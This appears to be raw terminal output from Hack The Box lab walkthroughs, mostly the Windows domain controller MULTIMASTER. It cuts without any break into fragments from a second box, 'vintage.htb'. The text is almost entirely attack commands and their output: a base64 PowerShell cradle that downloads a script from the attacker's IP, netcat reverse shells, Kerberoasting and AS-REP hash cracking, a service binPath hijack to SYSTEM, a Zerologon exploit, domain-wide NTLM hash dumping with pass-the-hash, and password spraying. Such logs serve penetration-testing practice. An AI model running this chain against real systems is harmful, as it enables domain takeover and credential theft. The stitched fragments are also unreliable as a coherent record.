connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49918
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\System32\spool\drivers\color>whoami
megacorp\tushikikatomo❯ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> powershell -e <BASE64_CODE>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49937
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\System32\spool\drivers\color>*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe
cef.exe : [2025/01/13 11:09:28:7999] U: There are 3 tcp sockets in state listen.
+ CategoryInfo : NotSpecified: ([2025/01/13 11:...n state listen.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[2025/01/13 11:09:48:8442] U: There were 1 servers that appear to be CEF debuggers.
[2025/01/13 11:09:48:8442] U: ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('whoami > C:\\Windows\\System32\\spool\\drivers\\color\\gzzcoo.txt')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ls
Directory: C:\Windows\System32\spool\drivers\color
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/13/2025 11:09 AM 259584 cef.exe
-a---- 7/16/2016 6:18 AM 1058 D50.camp
-a---- 7/16/2016 6:18 AM 1079 D65.camp
-a---- 7/16/2016 6:18 AM 797 Graphics.gmmp
-a---- 1/13/2025 11:13 AM 16 gzzcoo.txt
-a---- 7/16/2016 6:18 AM 838 MediaSim.gmmp
-a---- 7/16/2016 6:18 AM 786 Photo.gmmp
-a---- 7/16/2016 6:18 AM 822 Proofing.gmmp
-a---- 7/16/2016 6:18 AM 218103 RSWOP.icm
-a---- 7/16/2016 6:18 AM 3144 sRGB Color Space Profile.icm
-a---- 7/16/2016 6:18 AM 17155 wscRGB.cdmp
-a---- 7/16/2016 6:18 AM 1578 wsRGB.cdmp
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type gzzcoo.txt
megacorp\cyork*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49824
Windows PowerShell running as user cyork on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Program Files\Microsoft VS Code>whoami
megacorp\cyorkPS C:\inetpub\wwwroot\bin> ls
Directory: C:\inetpub\wwwroot\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/7/2020 9:28 PM roslyn
-a---- 2/21/2013 7:13 PM 102912 Antlr3.Runtime.dll
-a---- 2/21/2013 7:13 PM 431616 Antlr3.Runtime.pdb
-a---- 5/24/2018 1:08 AM 40080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
-a---- 7/24/2012 11:18 PM 45416 Microsoft.Web.Infrastructure.dll
-a---- 1/9/2020 4:13 AM 13824 MultimasterAPI.dll
-a---- 1/9/2020 4:13 AM 28160 MultimasterAPI.pdb
-a---- 2/17/2018 8:14 PM 664576 Newtonsoft.Json.dll
-a---- 11/27/2018 11:30 PM 178808 System.Net.Http.Formatting.dll
-a---- 11/27/2018 11:28 PM 27768 System.Web.Cors.dll
-a---- 1/27/2015 2:34 PM 139976 System.Web.Helpers.dll
-a---- 11/27/2018 11:31 PM 39352 System.Web.Http.Cors.dll
-a---- 11/27/2018 11:31 PM 455096 System.Web.Http.dll
-a---- 1/31/2018 10:49 PM 77520 System.Web.Http.WebHost.dll
-a---- 1/27/2015 2:32 PM 566472 System.Web.Mvc.dll
-a---- 2/11/2014 1:56 AM 70864 System.Web.Optimization.dll
-a---- 1/27/2015 2:32 PM 272072 System.Web.Razor.dll
-a---- 1/27/2015 2:34 PM 41672 System.Web.WebPages.Deployment.dll
-a---- 1/27/2015 2:34 PM 211656 System.Web.WebPages.dll
-a---- 1/27/2015 2:34 PM 39624 System.Web.WebPages.Razor.dll
-a---- 7/17/2013 4:33 AM 1276568 WebGrease.dll ❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedPS C:\inetpub\wwwroot\bin> copy MultimasterAPI.dll \\10.10.16.5\smbFolder\MultimasterAPI.dll❯ ls -l MultimasterAPI.dll
.rwxrwxr-x kali kali 14 KB Thu Jan 9 22:22:44 2020 MultimasterAPI.dll❯ nxc smb 10.10.10.179 -u users.txt -p 'D3veL0pM3nT!' --continue-on-success
...[snip]...
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT!
...[snip]...❯ bloodhound-python -c All -ns 10.10.10.179 -u 'tushikikatomo' -p 'finance1' -d megacorp.local --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: megacorp.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 28 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 10 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: MULTIMASTER.MEGACORP.LOCAL
INFO: Done in 00M 16S
INFO: Compressing output into 20250113181515_bloodhound.zip❯ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
No entries found!❯ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' set object "jorden" servicePrincipalName -v "cifs/gzzcoo"
[+] jorden's servicePrincipalName has been updated
❯ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------ -------------------------------------------- -------------------------- --------- ----------
cifs/gzzcoo jorden CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL 2020-01-10 01:48:17.503303 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$2a6e1db70bc6b71b9dde07b99f410654$9c192702404f1ad82ae704a5cc8f6cb84ab26ab33e52864e7371fbad87df5b2f893a148f5f752784ec5e9f4a1f65479f357ec58103478ffebfec3b5801b54416f2c1f82ea7a7a83903717992feb83029c3b845d09db12ab3314d26953e819e78db0be5d32b02e3c1e3c4b290cd49f4cb74b0d843c55c6816d8f2c5c987047fd925178e89025601cdd958ed26d055403964842e297d2702734db02b9f23b127a22e56c5a4110cc9354f4f62931534820587d99243a6dca00fe7d209fb069f17b36b0743c7b6d2b4b8627dff9741d585967168d4a6fea18dbfcfa63160fabaa92317882f95adac2a5aae29b00527f7163e026d20287f0c772fea5f45527e3544cf1b4155510238ede88d8c40c73bfc80ed5cfd4efea78e77f0b539731ebb1165571e8b90d023f4784b744818cc9cd17ed3b91f67c1595f729b02eec154fef1b06ad4830b024892e8e1ff6601af120fbbf25ef7d444d3e99d625ecf8fcf7dd837bebc8f19a4eab05f2d63c628ce8361ded918ee7441d2a64c6d73ee71c576598c13bc04b6e98b84bb1340ac0ead118efcf3d1ece3789c297504a309c92247d0e021854c4d931caca5f87d6401cf8bdd17d9e6d4cba8270d2482636cd47cecf3f0b96c1807164ea04e7a09f44e7bfd4361ff0ae9ac23de5d51c5cbbecf51f17f3145eac49ddb20f0ab03f7697fe9298ed68a1110a90e8b49c528698e189742efc019a59c3f4cfb4edfc23307d14557b9bb3d8e5d12c4a5f4614ed1fefd90fb42217c0fa3031a317d0db5c96fed0e579a1b77d41a883e9f62dfe7d94d9a65c716c457712e2d86cdf242be44dd4ec530eebd5bd9ef61b31d1b39a8e6a8dc350533ffd782c9bd42b040b462fdb1a44454412bf6a6d4f709273b8cdebc827cdd2e9357fa834f58651320aeb836c2e66f383d6fe5b38eff2f625d604cd5cef2206f1e3a9f9e69a80a630bf4f9d9c16b1010488edb3d4af5667df8ea8b37f365294d655410366a47991dec36cc09058c321b99fbc8641b6c0df3d73e158cd9ed754a1cbd394587610f1643f3d06191911b21d3e446ce0b85c065f3848c61aa5f1b2a7dbc1d34a9079f3f9645ebffa9c2ead6e1f8fecfba87127f6ed9870d6c0ee34690dc589eeb153880ee92c5ef9841a0e17b0c87365f45d55d4e42c2c9aae388b52a353c8268b7bd769fc186d55e6dd835e8e0c750bc6eb24f67aba0c502d4f09f7ab793b328abd920862b9401255677bed9b92f097a40e8cbf67746e371d85858c2bcf49d426d344fd52341cf722bf426df7efdca897be63777960bacb12890979917e3a6d59bd7dace8255d551230af4db1f8faf45cd9815a39e0e0713d738fbee36b1cfd67e2f57d49f8d37418a494a❯ python3 /opt/targetedKerberoast/targetedKerberoast.py --dc-ip 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (jorden)
$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$be06863d92e9721cc729f5e1eec12a2a$718d4eb0c3399da1f6cd0d3bee36bf1ec785617a598d1af2f7489db8ad0f92b36fb3e6dcf8e415d545062a304dbe127d7ad35e4647d57745093f0feeae5358914a33c3037a42edba8208cc411a9794d3fe0fb0f9c580e84184c6739dff9fbd2d66a4f89cd32a39a19c112fcb576bce48ac5ad0b7ae0ff0dbc9e8de85b1ca7423f82b78af866ccd9c71ceb05f8241121fd4ec9d9754d85ce8482b83676e8ba1d4c68783f174c5b12c89fa2dd72570107d2689304411ade47e1aa2ae120da74b7b718fd2547f960ce5c73c296f861b6c16483600bc9f109c8884b676e463a5ff354eec41d26ff87c88ff6d2dd4555e46c2aada265ceffd16f4ebe221ce999d9018bd6ea8125bd5f9c8e8e3cd10abf8c40c503d5e4bb18a430b140ad9dabc51131c45bfb105ea7d2f384b669fc7db91647b70f8929cb25c760313f1b6f836e28b40009b39337dcdf9fa4ca51a2cfffaa245b4024fd653141ad1e70d0753dd47b35002a55c5e124ffbe925d38a5aec3022892870f2e69773038c0009886e58cdebbda89030a2a8a8c0cbb97f8b16c2c0b341ff51eb90afb3303787ab942a14a5b24a17a2d9df4c2aa1358b70cf0958c3e8e88d1a9b5556d6751bb572bc91db79a3035e16d00ecd57f1eb7174cad879dea5a37e41e6842b8d2761ac0a00fe069436378c8d754b4c3614847e9660b62b302e2177410818115502d06312075a0e7af46f855cced6978e01d1df9a0c0ad4d9b4deb7c47bc9f19711f5edbe41b0df905d5d552351de2201ca0471266a64279970fdd7a1d600470a60f7b87e0393bf75fa773ff121a4cfacdb3f443659ca3c53da14a695179e7772382aa88e43ef86f3e462e2a37d39e22ea7589ac7e649e35b6113f656b6deb69b0ea5f42e55c88fea06716b37b1a089e6da8442983f0f8c1868a86455d766f17aa6c5ab965fc27a2058f70faaa0d24241e7cb594ccfdd33566b6a9b9595610b1f63968b2d2c27e0954d2bf009de3c438f6fbce841e5d4f3277c8e90554a76252951a489b9eacf3091c6da86873872c573fee255c8cc2ee0544afc2afc553c2c76531592c42935e4249dedb04409ef9594ecb723c8226cac72fa1eec0275c1b62d197bcc78dd3cc82a91664479e8724fb9308461e30a2a5e546b34d367fe52b3abc845ce23d36e419162e9c33e77ceb7fca0aa492f59c4204647b8d33080dc11b90b91b6169029808af527f6c6acb1ccc848e3771a0accbf4c7ba75381be92f112ec08e3758b0d205d2cae74e52eb1d0b78731a0713467cf01bc2adfc19623ac8389a8513965001cfc55b57d11091c90b5c835e7109883e68a83409e9e390924cf18defb21e13cd759ec92a858f926f42e713c52546b0c8c❯ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...[snip]...
[-] User jorden doesn't have UF_DONT_REQUIRE_PREAUTH set
...[snip]...❯ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' add uac 'jorden' -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to jorden's userAccountControl
❯ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d
...[snip]...❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d:rainforest786
...[snip]...❯ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786'
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\jorden:rainforest786
❯ evil-winrm -i 10.10.10.179 -u 'jorden' -p 'rainforest786'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\jorden\Documents> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe True aspnet_state
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys True MpKslDrv
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER True MSSQLSERVER
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe" True SQLBrowser
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER True SQLSERVERAGENT
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service True SQLTELEMETRY
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe" True SQLWriter
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe True VMTools
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe" True WinDefend*Evil-WinRM* PS C:\Users\jorden\Documents> upload /usr/share/windows-binaries/nc.exe
Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\jorden\Documents\nc.exe
Data: 79188 bytes of 79188 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config VMTools binPath="C:\Users\jorden\Documents\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start VMTools❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49948
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
b989bf465f20e0******************❯ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786' -d megacorp.local -M zerologon
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] megacorp.local\jorden:rainforest786
ZEROLOGON 10.10.10.179 445 MULTIMASTER VULNERABLE
ZEROLOGON 10.10.10.179 445 MULTIMASTER Next step: https://github.com/dirkjanm/CVE-2020-1472❯ git clone https://github.com/dirkjanm/CVE-2020-1472; cd CVE-2020-1472
Clonando en 'CVE-2020-1472'...
remote: Enumerating objects: 41, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 41 (delta 6), reused 4 (delta 4), pack-reused 29 (from 1)
Recibiendo objetos: 100% (41/41), 23.83 KiB | 903.00 KiB/s, listo.
Resolviendo deltas: 100% (14/14), listo.❯ python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
Performing authentication attempts...
======================================================================
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!
❯ secretsdump.py -just-dc-ntlm -no-pass megacorp.local/'MULTIMASTER$'@10.10.10.179 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1caf93d51d971be0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06e3ae564999dbad74e576cdf0f717d3:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MEGACORP.LOCAL\svc-nas:1103:aad3b435b51404eeaad3b435b51404ee:fe90dcf97ce6511a65151881708d6027:::
MEGACORP.LOCAL\tushikikatomo:1110:aad3b435b51404eeaad3b435b51404ee:1c9c8bfd28d000e8904f23c280b25d21:::
MEGACORP.LOCAL\andrew:1111:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
MEGACORP.LOCAL\lana:1112:aad3b435b51404eeaad3b435b51404ee:3c3c292710286a539bbec397d15b4680:::
MEGACORP.LOCAL\alice:1601:aad3b435b51404eeaad3b435b51404ee:19b44ab9ec562fe20b35ddb7c6fc0689:::
MEGACORP.LOCAL\dai:2101:aad3b435b51404eeaad3b435b51404ee:cb8a655c8bc531dd01a5359b40b20e7b:::
MEGACORP.LOCAL\svc-sql:2102:aad3b435b51404eeaad3b435b51404ee:3a36abdc15d86766d4cd243d8557e10d:::
MEGACORP.LOCAL\sbauer:3102:aad3b435b51404eeaad3b435b51404ee:050ba67142895b5844a24d5ce9644702:::
MEGACORP.LOCAL\okent:3103:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ckane:3104:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\kpage:3105:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\james:3106:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\cyork:3107:aad3b435b51404eeaad3b435b51404ee:06327297532725a64e1edec0aad81cfe:::
MEGACORP.LOCAL\rmartin:3108:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zac:3109:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jorden:3110:aad3b435b51404eeaad3b435b51404ee:90960176fcbfe36b4a69fafb3cc0b716:::
MEGACORP.LOCAL\alyx:3111:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ilee:3112:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\nbourne:3113:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zpowers:3114:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\aldom:3115:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jsmmons:3116:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\pmartin:3117:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MULTIMASTER$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up... ❯ nxc smb 10.10.10.179 -u 'Administrator' -H '69cbf4a9b7415c9e1caf93d51d971be0'
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\Administrator:69cbf4a9b7415c9e1caf93d51d971be0 (Pwn3d!)
❯ wmiexec.py megacorp.local/Administrator@10.10.10.179 -hashes :69cbf4a9b7415c9e1caf93d51d971be0 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
megacorp\administrator❯ bloodyAD -d vintage.htb --host "$FQDN" -k add groupMember 'SERVICEMANAGERS' 'P.Rosa'
[+] P.Rosa added to SERVICEMANAGERS❯ powerview vintage.htb/'GMSA01$'@"$FQDN" -k --no-pass --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/vintage-gmsa01$-dc01.vintage.htb
[2025-04-24 23:58:37] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAP)-[dc01.vintage.htb]-[VINTAGE\gMSA01$]
PV > Add-DomainGroupMember -Identity 'SERVICEMANAGERS' -Members 'P.Rosa'
[2025-04-24 23:59:18] User P.Rosa successfully added to SERVICEMANAGERS❯ bloodyAD --host "$FQDN" -d vintage.htb -k remove uac 'SVC_SQL' -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQLs userAccountControl
❯ bloodyAD --host "$FQDN" -d vintage.htb -k add uac 'SVC_SQL' -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQLs userAccountControl
❯ bloodyAD --host "$FQDN" -d vintage.htb -k add uac 'SVC_LDAP' -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAPs userAccountControl
❯ bloodyAD --host "$FQDN" -d vintage.htb -k add uac 'SVC_ARK' -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARKs userAccountControl❯ bloodyAD --host "$FQDN" -d vintage.htb -k remove uac 'SVC_SQL' -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQLs userAccountControl
❯ bloodyAD --host "$FQDN" -d vintage.htb -k set object 'SVC_SQL' servicePrincipalName -v 'cifs/gzzcoo'
[+] SVC_SQL's servicePrincipalName has been updated
❯ bloodyAD --host "$FQDN" -d vintage.htb -k set object 'SVC_LDAP' servicePrincipalName -v 'cifs/gzzcoo1'
[+] SVC_LDAP's servicePrincipalName has been updated
❯ bloodyAD --host "$FQDN" -d vintage.htb -k set object 'SVC_ARK' servicePrincipalName -v 'cifs/gzzcoo2'
[+] SVC_ARK's servicePrincipalName has been updated❯ kerbrute passwordspray -d vintage.htb --dc "$FQDN" users.txt 'Zer0the0ne'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/25/25 - Ronnie Flathers @ropnop
2025/04/25 00:19:07 > Using KDC(s):
2025/04/25 00:19:07 > dc01.vintage.htb:88
2025/04/25 00:19:08 > [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
2025/04/25 00:19:08 > [+] VALID LOGIN: C.Neri@vintage.htb:Zer0the0ne
2025/04/25 00:19:08 > Done! Tested 14 logins (2 successes) in 0.327 seconds❯ nxc ldap "$FQDN" -u users.txt -p 'Zer0the0ne' -k --continue-on-success
LDAP dc01.vintage.htb 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\Administrator:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\Guest:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\krbtgt:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\M.Rossi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\R.Verdi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\L.Bianchi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\G.Viola:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 DC01 [+] vintage.htb\C.Neri:Zer0the0ne
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\P.Rosa:Zer0the0ne KDC_ERR_PREAUTH_FAILED
